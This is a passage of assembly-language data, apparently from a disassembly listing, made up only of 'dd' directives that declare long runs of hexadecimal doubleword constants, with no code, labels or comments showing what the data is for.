6DED80D9h, 446138CAh dd 0D129E548h, 94A81A00h, 69D06C64h, 0E10E6080h, 76C9C011h dd 2A60AB59h, 29948500h, 0CCAF721Bh, 0A7974005h, 0A693D5Ch dd 0BC13BA0Dh, 20D82346h, 0EC121F3Ch, 90409AFAh, 7E9E711Bh dd 0D9620053h, 0D8949268h, 71C017E0h, 7F69A58Ch, 19C00D2h dd 0F45CD33Fh, 0B4014D1Eh, 2E199EEBh, 58B11884h, 2AEF988h dd 0FFB88532h, 114F9401h, 718A1218h, 8F848391h, 48FC80D5h dd 130ADE2Dh, 19879CF7h, 73778904h, 97336780h, 1C374860h dd 0EBCE0300h, 0E68E3F59h, 0A916E030h, 7DBBF84Fh, 0D25F032Bh dd 0B546D9ADh, 221DA8D9h, 0CCB1051Ch, 8C00CAE0h, 0C32C861Bh dd 21B530DEh, 0ED7D3C99h, 903FBB37h, 0B6421FA0h, 0E8F84893h dd 0EAAA2703h, 2DC31594h, 0C7B8500Eh, 33A872Eh, 0F0ED5D43h dd 873E5Bh, 7AC4090Ch, 74C3A736h, 0E194411Ch, 0EB6BC8C0h dd 1F5A1650h, 0BA7E701Ah, 12A26F07h, 1DFE777h, 875764E2h dd 0B48C710h, 0D1D6BBC0h, 0CA862665h, 0C04200F7h, 54F5E36Bh dd 63078E00h, 731B89D3h, 0A05A28C9h, 6A5900E8h, 982EB839h dd 601C86E6h, 54A8594h, 720F80BEh, 0A80B017Fh, 18D9356Eh dd 12988004h, 0D603B364h, 0ED7EEF4Bh, 8801E5B1h, 19843572h dd 1BAE2981h, 21366CB8h, 0F0096054h, 14503573h, 0B8262424h dd 0ACB8BCDCh, 8512E403h, 1AFB1020h, 447C30B0h, 999D8120h dd 69DDCC30h, 83904C80h, 1C20D9BFh, 42EEFB09h, 55602E00h dd 84C10AD5h, 0C6E21591h, 8104E007h, 4334995h, 28881427h dd 0EB700Eh, 767FD4CBh, 61027BB4h, 27E68900h, 65741DCDh dd 9C9E1C75h, 5E71B071h, 0A007E65Fh, 15C81F8h, 8FA35900h dd 61C04D1h, 922D1D18h, 0C464131Ch, 0D126D200h, 20143364h dd 255401B0h, 0A18532C7h, 72F893A7h, 0D049F421h, 0E4FD4h dd 136BC5F9h, 29FFBA20h, 0EB4DC100h, 0A974B426h, 0B638C79Bh dd 0F1066F70h, 41981098h, 44031424h, 10E09B0Bh, 1E7A2064h dd 8086D8E5h, 4D1CA646h, 9300EFF8h, 989ABD37h, 0F09DBAD0h dd 60C985Ch, 0ACAA0DFBh, 0FA58A11Dh, 0F4C1C040h, 0B469933h dd 0D6C4AFD1h, 8288628Ah, 11BD9F3Fh, 0C609BCA0h, 1A802959h dd 472339F9h, 5C492FB0h dd 0D8003DA0h, 0B9D2BDC0h, 2E174C6Ah, 7B87913h, 0A9D5481Ah dd 0C8980409h, 8000473Bh, 0AB4AB996h, 7B2C7A93h, 0A3C807D7h dd 606C5DF2h, 0C2F98A4Fh, 45D14819h, 589A9C40h, 28467925h dd 9D51CA07h, 53C047CEh, 150EFF3h, 0A5EADD3Ah, 0F0706089h dd 0C113427Bh, 54201F17h, 2859DA80h, 874B89Fh, 3EC5C621h dd 0FB6CE101h, 31A84D9Bh, 51682068h, 9F8AB806h, 5819AB1h dd 0D6959619h, 9C1C04DDh, 9D064231h, 54C4DFh, 550EC0E2h dd 0FB13D8A7h, 0B97141C0h, 1C9996E6h, 0C080AF1Fh, 90B5ECB1h dd 0DA5C7B87h, 0D721102Ch, 0B86C720Ah, 78D0884h, 0EE089C01h dd 0B8A13075h, 0E7AF80CCh, 49BEB0A7h, 0B1464A00h, 0FA801161h dd 1C61816h, 9B3450D2h, 9F51D900h, 0FA785B3h, 9DFB2486h dd 0AA984294h, 0A0E29093h, 1C80E0AFh, 95722879h, 0AF4311C0h dd 5C196065h, 0C18447Eh, 84B3893Dh, 40901524h, 8C29E31Eh dd 0FC0C1024h, 121A1881h, 27582Eh, 91E98578h, 1C670C1Dh dd 0DD937E10h, 1B2802ABh, 4CACBF92h, 1718A0C8h, 0C63AE8A6h dd 81351412h, 2D3283B8h, 0AE491690h, 0AFB420E0h, 0C8A08B7Ch dd 360189F0h, 35EC6120h, 2C70630Bh, 0C218881Ah, 8C1ED7Ch dd 69056FE3h, 13F019DDh, 5879DD2Eh, 0DC8C31F6h, 0F8E4100Eh dd 0CEE243B7h, 774890FEh, 336100E0h, 0E46BF1E5h, 19281781h dd 0FC44202Ch, 18F8FE8Fh, 2CC49085h, 61020D42h, 10ED8157h dd 0BAD880FDh, 0B81448B0h, 308890C4h, 9818FC39h, 1B4A30B8h dd 0D7CA7C60h, 5BE876h, 5FD1E2CCh, 0EB2B6AFDh, 49003F72h dd 0CA830424h, 58A82D91h, 0AF05E8F9h, 92CF3194h, 0B0A09A24h dd 414E5257h, 0A1986E07h, 7C20F5C2h, 0F5FFC59Dh, 0EC213471h dd 0E4FA9C08h, 44A8906Dh, 352C6F09h, 0A740307Bh, 0C1FD13D3h dd 1C01D131h, 66BFC8B2h, 8D6E3700h, 93879B43h, 47BC2845h dd 0CD3B1DE0h, 849026C1h, 1248541Dh, 0C7E4EB07h, 813882ABh dd 3372032Ch, 24A3C1F1h, 1A88903Ch, 126025A0h, 0A1816407h dd 884574CCh, 8AF87229h, 80D033FAh, 9AA2F069h, 4502ED0Eh dd 41159018h, 0E1C4C370h, 298028F9h, 0BF09FB59h, 55000416h dd 8BEE4610h, 1DBCA125h, 807EE16Dh, 959B5421h, 0A812BA1Ch dd 64023968h, 249C9FFBh, 0F1BCCD98h, 0FA5C419Eh, 0D469A602h dd 92052011h, 7213815h, 0F1C64284h, 40FA534Dh, 488E37E4h dd 11AA853Ch, 7104999Ch, 0B0F9CD29h, 0AAF0A370h, 1D31BB1Ch dd 61482418h, 77FA01C0h, 1611D5A9h, 9B199E50h, 54979FCAh dd 222A91Dh, 34526DD5h, 64C1C2B9h, 200AA884h, 71A726h dd 3FAED908h, 9235DA0Bh, 0D518EC91h, 7E6C413Fh, 0E315111Ah dd 98CC85E0h, 0FB0B0248h, 3174B360h, 77E28450h, 5447C301h dd 0E10FE971h, 85016C63h, 167067B2h, 9B9D6082h, 0A40B5D14h dd 0AE9D17D0h, 2BF98C46h, 0CC5C0031h, 0E90971FCh, 6C702F44h dd 3C932800h, 0B81FE2D4h, 709090BAh, 5182F0h, 599F9900h dd 4DD6D009h, 980AC852h, 42E02FBBh, 0DC13A299h, 1EE4C240h dd 0F900EB19h, 0F4F5CD51h, 9A7FAA2Ch, 84D4088Ch, 2225A44Dh dd 8BA2B194h, 19C40408h, 0B81DAE40h, 68806260h, 84401618h dd 0A8BC0210h, 1468150Ch, 31486D9Dh, 12BC488Ch, 0F05FD784h dd 680189EEh, 1AF82594h, 289F457h, 2194C2Ch, 0CC91F409h dd 10044B1Bh, 96099094h, 0CC28C415h, 800D12FCh, 834D9C48h dd 7F6C19D5h, 59B7D788h, 421DF044h, 150EC0F3h, 23C9115Eh dd 0CB2A4800h, 0F745A7F8h, 0AF40C22Ch, 0F450F184h, 68E0A837h dd 900950C5h, 18E04461h, 0A11EDFEEh, 540B490Dh, 87240AACh dd 3D401F60h, 15B5DE81h, 30A87039h, 0F520A9B2h, 3DE9495h dd 88E7AA7Dh, 0D5E0B46Eh, 7C906544h, 1E29A567h, 1D2E12Ch dd 1A0B061Ch, 20F52439h, 28A27550h, 5E08B405h, 0E2EF898Ch dd 4EA87827h, 0C0403449h, 8A45B7Fh, 900CE14Ch, 919DA1ACh dd 7EEDDC10h, 1C05E52Ch, 84B14483h, 1F7901ADh, 0E5877168h dd 2C21A809h, 5C058542h, 419CB170h, 0D4A02418h, 872820DAh dd 140D232Eh, 7900AD91h, 77575A04h, 3F0013BBh, 0FFBC8688h dd 660B3C7Bh, 41DCC06Ch, 0F95C6909h, 9420201Fh, 746D2089h dd 0AFA8A138h, 29506E8h, 0C3A8078Ah, 0F0907586h, 85F73D9Ch dd 0E9E138F1h, 0FAD39841h, 50BF0161h, 65D900F9h, 24CBAA7Fh dd 570030A7h, 0D301BE0Fh, 6504Eh, 37F04791h, 0E294892Fh dd 38227900h, 13702D42h, 6AD900A4h, 2CC7DC0Eh, 0C90709B1h dd 0D803AE3Ch, 0E2415260h, 6E4000E4h, 0F1877D29h, 6090D075h dd 1E722B0Ch, 31040A3h, 0AF119ADCh, 0AAF0C8F8h, 4DEC0F2Dh dd 478D4300h, 79F20234h, 0BAD20087h, 0FE303922h, 995C8272h dd 0A70A1DC9h, 0F8A51142h, 5604C4CAh, 0E5AB0491h, 0D6EF840h dd 481797A6h, 3F00D8AFh, 0F8072F9Fh, 0CB3BFE55h, 64458041h dd 0B7F1917Fh, 332E00D0h, 0E71171F2h, 0E60554Bh, 6BA72D40h dd 75410090h, 0C0F90F0Ah, 30005B42h, 71294625h, 4C5680D4h dd 26035A40h, 0D9DB128Eh, 91A80EC8h, 40A02230h, 3F9753Bh dd 435203D1h, 71C84C89h, 0DE0085F2h, 0ED14B7E5h, 8E223Dh dd 544BA681h, 169194C4h, 596BAA1Fh, 0D1F7BC82h, 9738620Dh dd 6C875D94h, 28109D0Ah, 0FEC209A1h, 0F070075h, 84435303h dd 2072548h, 0DC917922h, 3D261630h, 5D7B002Dh, 0E6E4E99h dd 240092A5h, 0F8AF564h, 7D92FAFh, 54F416F8h, 3137D13Ah dd 0C9F8CBBCh, 717F281Ch, 0E7498418h, 20A70840h, 540E279Fh dd 6004B40Fh, 90FE1701h, 317244h, 0DC9EBEFDh, 6D32D0BDh dd 1E8BF800h, 1BA04D99h, 11CB09A7h, 0C40CFC64h, 12C0540h dd 0D4D58C1Dh, 6D128500h, 2C9DDC7Fh, 540900AAh, 7F5993Fh dd 43081C4Dh, 374180h, 0C0DB888Dh, 35002C22h, 981E7667h dd 0F7F63D9h, 0A8E392A1h, 0A5468BA0h, 0D3A1005h, 99000BBh dd 0BE287030h, 0E2E51D8Ah, 4A168012h, 4CE48177h, 0A60BA000h dd 0FF9B269Ah, 754B0083h, 554EDCF5h, 407D7E43h, 0BEF34700h dd 1379D894h, 28710033h, 0D7A31276h, 0A40070A1h, 2E641097h dd 7CAA4390h, 5D030232h, 1A096048h, 1077ACC1h, 14332029h dd 885384F9h, 0FBBF0491h, 0D93BED00h, 0D7438F86h, 38015D00h dd 788782Dh, 572CB46Bh, 9389DE00h, 633B53h, 862F6888h dd 0B0662801h, 8485D87Ah, 11D7CFAh, 0BD29CCB3h, 7A03187Ch dd 9373423Ch, 0DFB1290Eh, 891AA0C6h, 0B6121F23h, 21AE18E0h dd 0C600EE57h, 0A5F522Ch, 149120Bh, 0A9F64778h, 2AADDDACh dd 2D0180Fh, 0F2B33D74h, 0F7633C48h, 120955C0h, 0D8E4C01Ch dd 2F080654h, 3836ECACh, 7D5CC450h, 6127C507h, 62A11DDCh dd 1C58036Fh, 745482A2h, 3FA01E40h, 37FC0684h, 2E6B8C0Bh dd 0FE120138h, 0AA03A778h, 0BC0994F0h, 0DD21D8EDh, 0EC78C25Bh dd 84769FFAh, 4CA02482h, 0C06E0649h, 102A832Fh, 833BE1A8h dd 0FAA09039h, 30151880h, 8AC00979h, 0F9301107h, 39DCD131h dd 0B36E015Ch, 0BB943F53h, 0A108AF43h, 5C41FE68h, 7E6BCECh dd 23D2FFDh, 7F82D0FBh, 0DC0589C5h, 0B8241DDDh, 940C3803h dd 3E0A2E7h, 66A15E3Ch, 0E0402F14h, 0DFDC0628h, 0B5F60B80h dd 0C0C28939h, 45805C54h, 6CA6DC0Eh, 77E7183Fh, 3B35038h dd 0F00C26F1h, 7DC9FC2Fh, 0BD2B00DAh, 9EEC525Ah, 0D605BECEh dd 5BA584AFh, 9443ECE1h, 88900DFh, 6B716F3Bh, 0D80C8C92h dd 8549A03h, 0E989247h dd 687160E0h, 0ABA08A2Fh, 432D9CC7h, 2AE39B0Eh, 59066078h dd 10610816h, 71AFE13h, 45853B2Dh, 8246B760h, 2107051Fh dd 488384B0h, 6DC3E744h, 7C929171h, 0DE884618h, 7E710066h dd 0ABCDA7A6h, 0C8001D8Fh, 144A6578h, 0A77136Ah, 9E97FAACh dd 0E261808Ch, 0CB980537h, 8C40DE8h, 4C87036Dh, 0AD1FEDC0h dd 811560E0h, 4AAE0D9Eh, 973B341Eh, 0B6EF3DC7h, 0A80FBE50h dd 0FC175460h, 30D4249Ch, 0D785080Ch, 0EEB81E02h, 29180CD3h dd 2761CB40h, 688335h, 0DA889673h, 0CFEB1FA6h, 4C3814B4h dd 0C1040095h, 804A5CB8h, 7B1D5E80h, 8933C75h, 3C6DA01h dd 0A018E11Ah, 0C6F05C89h, 67500289h, 0BC98FAD4h, 8184B456h dd 0E0BCA1E5h, 75857200h, 795162Eh, 0C8159212h, 519B0CA0h dd 6858A05Dh, 0E4DC0803h, 0F5C5DE80h, 0B48F840h, 0DC2B32DCh dd 0B0C02548h, 1828857Dh, 29C0F85Dh, 0B971FB08h, 0F1630778h dd 0E03299D1h, 0F9FA44ECh, 2960209Fh, 0E80A8Ch, 8F760E4Fh dd 0B7C63F7Eh, 0C4E43500h, 29D75AC3h, 10C50598h, 6EC7208h dd 4122FAF0h, 3886D600h, 986C15B9h, 7B360009h, 5C2D942Ch dd 0E000A5B5h, 0AAC2181Dh, 986904B2h, 763F0095h, 2D93EDA9h dd 0A950A08h, 582ACBECh, 602725EAh, 89C0C801h, 98D9C392h dd 0E1487FB7h, 1602304h, 80E5DC08h, 88311826h, 0DC001043h dd 9A7AF595h, 59BBD76h, 9DFB3808h, 0E8546Eh, 0E6003323h dd 11A07C6h, 74448624h, 0C6ED0050h, 892F92B5h, 9B0048D7h dd 0D1631033h, 0DCA14174h, 0C4344DB8h, 6C5C02A8h, 11DC0430h dd 880680D9h, 0C47892Ch, 0C06BAB84h, 46B80A1Bh, 7F66DF01h dd 0BCA81B8Fh, 875C003Ah, 0DE360DE5h, 84BC0195h, 0B804904Fh dd 0B3988454h, 96844CECh, 12A09051h, 0CF09A20Bh, 84679DB7h dd 6961EB18h, 5C92C471h, 0DA4E448Ch, 8302627Fh, 0B94799C5h dd 1FD04013h, 0C4114EC6h, 74E88120h, 9AE20716h, 0BC4882A5h dd 79E8A9FAh, 0D19E00A4h, 0A51B545h, 0F4327C00h, 1CC7B134h dd 0B9A90277h, 3F4E1591h, 670FD45Eh, 0F5740794h, 6907052Fh dd 0CF08490h, 87E1872h, 1A1998A8h, 4FCD7F80h, 0AC1CC4C9h dd 0F268DF14h, 0E4606600h, 9982BAEDh, 1D979C4h, 7EF99BCEh dd 863BC5CDh, 4B84A0D1h, 0EE0B3C38h, 3BDDD293h, 3B742320h dd 31F03781h, 30627753h, 0E098095Ah, 0F3FBA04h, 88ED7305h dd 4D2B0A02h, 98408354h, 8F83AB39h, 64E16DE2h, 0EE590080h dd 0DE213B62h, 4B1F34BDh, 76802357h, 1CF40CAh, 84B30D3Eh dd 3040A04Dh, 0FB5073FCh, 88903BA0h, 477EA44h, 0BD68C5BBh dd 6754C29Ch, 12DC0930h, 382E80E6h, 1100525Ch, 1DB650DCh dd 141A5D2Fh, 0A4A1852Dh, 463CE910h, 0F30073C0h, 0F0540763h dd 267EE260h, 84D89F87h, 8123C912h, 635D2856h, 3050A2ACh dd 0D9143D1Ch, 0C0D80AF3h, 9D7D7A43h, 0E0555230h, 0E3013623h dd 0E91A04C6h, 53800063h, 20D1C6E2h, 18394A0Bh, 33E0721Eh dd 88A10113h, 0F06C17B9h, 0B016D76h, 854BECD6h, 244071B8h dd 0AB8F2Ah, 0A6A90E7Eh, 9C29EEC1h, 0E1723905h, 54C0B19Bh dd 68D1CE17h, 1FF8A8D0h, 61E46EFBh, 43198A8h, 0DCF10482h dd 35920214h, 84A37E85h, 0A1C61C18h, 0CE06E205h, 0C4001A99h dd 0CD84A96Bh, 1422B59Ch, 13022768h, 0AE05C90h, 80B81DE1h dd 7A71C631h, 143121F1h, 0FC65E903h, 1E1A6FCh, 7EECAC11h dd 3E152084h, 0F804440h, 149254h, 7ACA774Bh, 6D984CFFh dd 48A5F524h, 78C3F909h, 28251690h, 0CFF8E1F8h, 3A4D2BCh dd 0AB11D09Dh, 4629DA80h, 220BBAE6h, 919CFB2Bh, 6088715Ch dd 18099BC5h, 0F230FA12h, 90622887h, 102FEFA0h, 0B0398C08h dd 1A2C2041h, 0C23590C8h, 0C1CAC6E0h, 560EF89Ch, 0F70C6E7h dd 926A7BDh, 12059187h, 0D487AD83h, 621E38EDh, 0CE1E0063h dd 397632CCh, 802F0F26h, 12F9F000h, 250E25Ah, 0E58691EFh dd 0FC6637DDh, 42D4FA55h, 6A30E294h, 926E1171h, 80438864h dd 0DE7163DDh, 0BE05E6F0h, 5C259383h, 0A8A54D0h, 63452D92h dd 68C208E2h, 181A2044h, 74B93015h, 0B3274064h, 0C5028D3Eh dd 0E169986Eh, 85BC7684h, 94BD48C2h, 96C8085Ch, 0B10D1A9Fh dd 60CC1869h, 0C3705B15h, 61093BCCh, 0D84DACA9h, 5980B000h dd 0D30B0472h, 14A4E984h, 81A0F80Bh, 0B87D12FFh, 629CC4h dd 3341828Ch, 0B42A6742h, 0E9D7EE0Fh, 71EDA059h, 0A3D9E394h dd 8D8A890h, 208D2896h, 59EFCACh, 8A48F0CEh, 88908E04h dd 0A3F7C045h, 0E75064FCh, 0C1E6B484h, 9B1001BDh, 443068D2h dd 11E940EBh, 0CAE41600h, 0FAE2AA70h, 6906C761h, 0B9DFB56Ah dd 571300BCh, 4CB6F075h, 491B0076h, 72064BA4h, 6862E56Eh dd 7C863538h, 321C448Ch, 30CB118Ah, 64933930h, 1C6E401h dd 0A618F11Ah, 4EB5288h, 362E3BC6h, 0E50CC884h, 58E63A01h dd 0BEB81E2Ah, 4200D428h, 7DAC6AA2h, 0EC0E60AAh, 6EEF9435h dd 0DB0EC319h, 0EC80526Fh, 9930AEF2h, 38EF07F3h, 720DC087h dd 0C42EB40h, 11C2CC27h, 30579095h, 0F9410C28h, 23BC582Ch dd 7C6C008Ch, 0F799A990h, 0E13CE7FAh, 8A2492AFh, 42C8B0CEh dd 0BDCA45C0h, 5FB10063h, 744EBA76h, 54127C9Bh, 74C81D4Ah dd 0E1A82638h, 80A11290h, 7D9A7490h, 0A8088550h, 1213AC92h dd 0DCF04C1Eh, 0FA0C24AAh, 1FE10BB4h, 0D68F7CA2h, 3D12B8C6h dd 94211D18h, 824F813h, 0AD490393h, 0C3A3EFA8h, 0CB7A6DB8h dd 0E6C28107h, 841E21E8h, 5481D555h, 418038F9h, 346E6254h dd 1F54E09Ch, 7F007184h, 0F4B060D5h, 7C19CF49h, 4C124818h dd 9F45BA01h, 747F24F0h, 476CE1Ch, 9425EF04h, 70E41490h dd 0F4D4F750h, 0D8B304F7h, 0CCA1AA02h, 0A0E6EA94h, 13D9FCF5h dd 47901D02h, 0A0B36A8Ah, 11D4BAE4h, 702807C1h, 0A09D029Ah dd 95856C77h, 8CC0F55Bh, 245B1201h, 45CF3FAh, 0C3FDB7A7h dd 0B388E74Ch, 40B26174h, 30E0A824h, 0B1F65C60h, 179777D8h dd 0E0068415h, 0B848920h, 11C74D32h, 0DE823873h, 5074A024h dd 6D600248h, 727C1842h, 0DB87A8D4h, 6491361Ch, 14319EA5h dd 0E805E802h, 77B40484h, 1D6A1EAEh, 0B9C8A640h, 344B473h dd 9B5D1596h, 0C49E182Ch, 7F6D0F00h, 13BB7690h, 6C84ADEh dd 30BF2540h, 8E887258h, 43F38034h, 98180CD9h, 0B44F0016h dd 7EFAE6CCh, 4817C18Ch, 8CF043FDh, 9EE90097h, 0E7A0BCDh dd 98091EC9h, 621C88B8h, 706C5974h, 0E861B2Dh, 15108F8h dd 0D959A360h, 711272D6h, 48903B67h, 94CAFB5h, 90AD94A9h dd 18ECC011h, 70710868h, 44C45492h, 7161DB40h, 5100B68Ch dd 0B32F8A20h, 0CFE96CBh, 49887F12h, 954AFB28h, 14BC4Fh dd 0B2B830B9h, 0AC8920CCh, 0B72598F8h, 62EC916Bh, 0DC080218h dd 0CFD680E3h, 0A490071h, 518E87DCh, 3CB9F9h, 0B030B5D5h dd 0FAF0135Ah, 4197469h, 70600A5Ch, 0B323695Ch, 1F113Bh dd 0E95C38FBh, 7DBD27Dh, 0C21DBB7Fh, 9D818187h, 40017F4Dh dd 6886ED40h, 74847470h, 0F11CB9CCh, 0BAB1851h, 74AA1F83h dd 450B80Bh, 465EA896h, 615879A6h, 0AE8910E8h, 283F524h dd 862660CEh, 19223CECh, 8874A032h, 0ACD31671h, 72E8B039h dd 7C821E5Ah, 58CC5B7Ah, 0AA00A1E4h, 5B6C15F3h, 1D29A01h dd 7E2C83B8h, 571A127Dh, 0DC25F290h, 502C74D6h, 6996E909h dd 507571ACh, 549D2820h, 61FAF403h, 97C1B934h, 63E2C40Bh dd 6C680E24h, 6CA7CC2Ah dd 14614F64h, 80F03CA7h, 2F036E69h, 152B00A0h, 8F64BFF3h dd 2D777F6Bh, 0D577B20Bh, 0BE58D990h, 3D71C588h, 20984A09h dd 0DDCD3368h, 3FBCBAB6h, 0BCC0082Dh, 40731935h, 9C48BCB9h dd 6044E92Fh, 107C9703h, 305D0507h, 81693E28h, 549699EDh dd 703A5712h, 5B012423h, 90C50EABh, 92D0317Ah, 0E55FE1Dh dd 9DFA62B8h, 2D0DC39h, 4D70BF99h, 361178D6h, 0BC2E1209h dd 94B33860h, 9485615Bh, 4F88F48Eh, 35ED10C0h, 306F484Dh dd 0C068A816h, 0F9E58768h, 1462D494h, 0B9730592h, 184F00E8h dd 0F716EAC8h, 0E7EC00A5h, 0EFB88861h, 23013FFAh, 0C6015AB9h dd 48812B69h, 9DD19C6Bh, 2EE42C55h, 46747065h, 0BB00024h dd 3606CC65h, 78870293h, 38565BF8h, 5397BC40h, 40C083B5h dd 4B0FF862h, 996702B0h, 0B9ACD2C6h, 0A8081C70h, 3D26AF45h dd 243AF502h, 0B0717CDAh, 80A80A3Ch, 0B0B8820h, 11FC9D8Bh dd 52BA80ADh, 0F7B3D3h, 4035E0EEh, 1AFEB49Fh, 422E181h dd 0A4053401h, 417CB6DFh, 8F98728Ch, 634B5549h, 0D9F1B702h dd 94700F8Eh, 0E24C8B1Dh, 0CC0C77CAh, 1818E0B0h, 1C62A17h dd 0D97204E0h, 0D7A1EE20h, 0E608CA4h, 6C05BCACh, 5BB36D5Ch dd 0F7C084F2h, 35755C34h, 6A588A50h, 0B334D27h, 41F005BCh dd 0F41A50D2h, 74A9506Ch, 0C28595Dh, 193EF9FBh, 0E0620142h dd 943DDDF8h, 5870DA2Dh, 195FDA0Eh, 8A508F0Fh, 1E81E8EFh dd 7A626F87h, 0D9AC6439h, 0B5489500h, 7B05FCAAh, 2C2AFCF4h dd 8190CDADh, 20A425A8h, 0E8BC2875h, 4A058C2Dh, 9F36BCBFh dd 7F05ACE2h, 5235F9CDh, 0C1B808C4h, 4C880B97h, 547A74h dd 0A0E367D6h, 2EECAD6Bh, 2C253Ah, 0F1FBDDAAh, 0B8D89491h dd 0B81B1690h, 5EE882F8h, 7458C8F3h, 0E0715C80h, 309CD180h dd 0BA008A2Ch, 29AD33D0h, 2C1517C8h, 0F6E807E3h, 0D5F73600h dd 0C6C571C2h, 0AFD20280h, 2F11CE0Ah, 0A87B8884h, 8CADB868h dd 0B4B6E700h, 59D934Ch, 9F520332h, 155FC24Dh, 3874F4D9h dd 8CB097C0h, 20C75F9Bh, 3BC0A9E8h, 802F963Dh, 2E277E73h dd 54BC442h, 0A9CCB171h, 0B898C895h, 2B5B4C43h, 2F23E0h dd 0FBEAAF7Ah, 6505CC6Bh, 0C5ACB42Dh, 1000CF8h, 1BB17212h dd 7AE3A808h, 80886C00h, 25CCB4B7h, 0D468C415h, 9095247Bh dd 823DC074h, 0A7793079h, 0AD044F18h, 25E580EAh, 809118F1h dd 0C6270B94h, 1CDC40C1h, 0D247E4C0h, 0E5A4A018h, 6CB00747h dd 4A59E0E2h, 81540040h, 1ACDC15Eh, 3268074Dh, 50DF6DAAh dd 41505BBh, 351080C4h, 80251621h, 77C5BB51h, 9F81541h dd 193C2D93h, 0A4BDF4E8h, 82AC6382h, 14CCFA17h, 0EC13C341h dd 0A06A3F88h, 9F3465Ch, 580ED2E3h, 0F95107A4h, 782184BBh dd 0E0701C1Eh, 5C3C6E5h, 0B8116189h, 7249160h, 0B848A7DBh dd 8338A124h, 7FF869E1h, 0C284BC40h, 3F425Ah, 7D7CF1E7h dd 7A1D966Eh, 88546F4Ch, 5C6DC00Dh, 3346B36Ah, 0F2002022h dd 317B5C35h, 7E99F624h, 0B5A402AAh, 0ADD97CB4h, 0B3919CA0h dd 11C625ACh, 4668D26Ch, 5C6E070Ch, 0C428B36Bh, 36F14019h dd 62D5Ch, 374D5D22h, 0A0CC1FCBh, 3C812AE1h, 4244BE1h dd 6F531D64h, 989AC1E6h, 0E40A7AA5h, 0E100BEB2h, 0A6EB8F3Dh dd 0C8D980D0h, 6FC00BF1h, 46B3685Ch, 1A2243h, 4C5C37FCh dd 3E4AD232h, 18841524h, 1A408h, 79ED1935h, 14347CAFh dd 28A2F06Dh, 17304EF2h, 7F100B65h, 78229175h, 0A0909FEDh dd 9900934Dh, 506015EBh, 4C48B39Ch, 0A6E8801Fh, 2DA5FA8Ch dd 0AC20E09Ch, 6DECF21Ah, 5E446800h, 0DAB8A302h, 0BF740AE8h dd 13548536h, 109C9073h, 0E300174Ch, 13706854h, 3FBFE818h dd 6E1282D6h, 98BC04FAh, 4115213Eh, 0C3D89B15h, 0FAA5CEAFh dd 0B58C82D7h, 0F4B8C49Bh, 90578217h, 14C3030h, 2E7499F5h dd 0C17EB4BDh, 0C5E020A5h, 0ACC99C4Ah, 7208406Fh, 0CB35E794h dd 0E9F98A08h, 889E0307h, 7E802BABh, 0DF4C4EEDh, 3CD02E68h dd 85CC8F49h, 0C61DAEFh, 3070A1BBh, 0E6A08C38h, 0F9581A02h dd 0EC51E04Ch, 6FAC3CC6h, 0EA6C5F01h, 0F4361815h, 0C5138167h dd 0B4111999h, 914E21ACh, 63C21364h, 0F5F7F404h, 47886CA8h dd 78A78CBEh, 0FF7F3848h, 1DBCD8F2h, 2D96312h, 19D23002h dd 3C7D3C49h, 22B458ACh, 0B6E4012Ah, 407B54CBh, 0ECD4CCF2h dd 3F111718h, 3094D321h, 438C161h, 5801C379h, 0CD97BAA0h dd 0C07470DDh, 828C0FC9h, 5CC91B34h, 8900C4D0h, 3898C18Bh dd 7857A40h, 5D16E568h, 0A79A314Eh, 0C03C1Ch, 3CFF9B69h dd 6029CE0Bh, 0B977C0D4h, 725DE06Ch, 9ABCB8h, 764C95C5h dd 0E533C6BBh, 0F52200B0h, 1F4D2A92h, 7CA90CA8h, 2D195BEFh dd 75022C10h, 81A8EA17h, 39A5ADD4h, 41E73A84h, 2096C412h dd 1568C01Ah, 515A02F5h, 18A07944h, 0FC4806F2h, 199F71D6h dd 37B0B900h, 0F0EAE631h, 7C80E232h, 0D9D4093Bh, 0D4DB9BBDh dd 0A922ABE4h, 925844C6h, 38FD33A2h, 0EDE012AFh, 0E3BC0310h dd 0E8106FD9h, 3C002A17h, 0E1604354h, 895D9D7Eh, 0B81A09D0h dd 7D286090h, 5AF427C5h, 7100FC66h, 76ED999Ch, 271A614Eh dd 4C00D02Eh, 0FA52889Bh, 45201300h, 89AD3171h, 44209F97h dd 9D2584D3h, 0F44B11F1h, 0CDB80B14h, 58E570ABh, 2160AAE4h dd 3E012C0Bh, 0CD9E3526h, 2030DC4Ch, 0B45C8Dh, 68C090D2h dd 6E092401h, 58C5E57Fh, 307261B4h, 80AA4E9h, 9118B939h dd 0DC058063h, 8C0E80DAh, 46212E60h, 794CDC0Dh, 0B4C60B62h dd 0F802DF25h, 87016AD9h, 71C629E5h, 903108B4h, 66241809h dd 0ADBD20A0h, 0F1A07330h, 5BA7EB2h, 18297271h, 1A9681D2h dd 0F82AD9A4h, 849A602Bh, 6F41BB09h, 4C409605h, 0ACC098F9h dd 0CD7F21BDh, 58278926h, 0D163B044h, 202F314Bh, 43F2423h dd 42FAD19h, 2989C4ACh, 0A16E2D8Fh, 59BCE02Ah, 9581102Ah dd 1C9E5Dh, 0B0851312h, 860AF57Bh, 0A033F9E5h, 94506869h dd 1E182025h, 19442C8Eh, 50E67A21h, 43A87837h, 0ACCA214Ch dd 2D465C3Ch, 22F02100h, 6D8A4B23h, 86C2D204h, 84E0E575h dd 7D1B24AEh, 2C467428h, 0D4420200h, 75E41C1Eh, 7EB84902h dd 82419DC5h, 224BF064h, 80819A2Eh, 13BE7Dh, 3D381A85h dd 7F0B240Ch, 0A043799Dh, 5054A2DCh, 664F6CF8h, 0A920F4DBh dd 4D159439h, 84B30BA8h, 9674C0F1h, 0EE801F2Dh, 0B7850276h dd 0A4846903h, 5C6A6010h, 8BB3106Fh, 32FDB03Dh, 0ACDD005Ch dd 0D4055D79h, 0B5646DCCh, 40BB73C8h, 2152C18h, 6AE6C8A5h dd 3F8FBE2h, 6B10BB09h, 0C0188209h, 842C54C4h, 816C1B5Ah dd 182841BCh, 7E2D8394h, 81188FC4h, 0C0138193h, 488CD0C6h dd 0E0240C06h, 20467E84h, 8E55BF0Eh, 7EBD6320h, 352532EEh dd 638298Ah, 20A06F48h, 497312Dh, 0CB573B8Ch, 0C044C8E0h dd 4CFA32B9h, 12BD8809h, 4D9C01D2h, 0B908DDDCh, 0E29A31C0h dd 24FC4A0h, 12379C80h, 18545826h, 9A7ED90Bh, 0E47140h dd 0BD670DE2h, 9A04FA2Eh, 0A96E6407h, 0F2532CD0h, 4E5090B0h dd 7964C18Dh, 6690F8C6h, 894B9E7Ch, 16974A0h, 92426F16h dd 12F5825h, 785A0A8Ah, 0CF323BC0h, 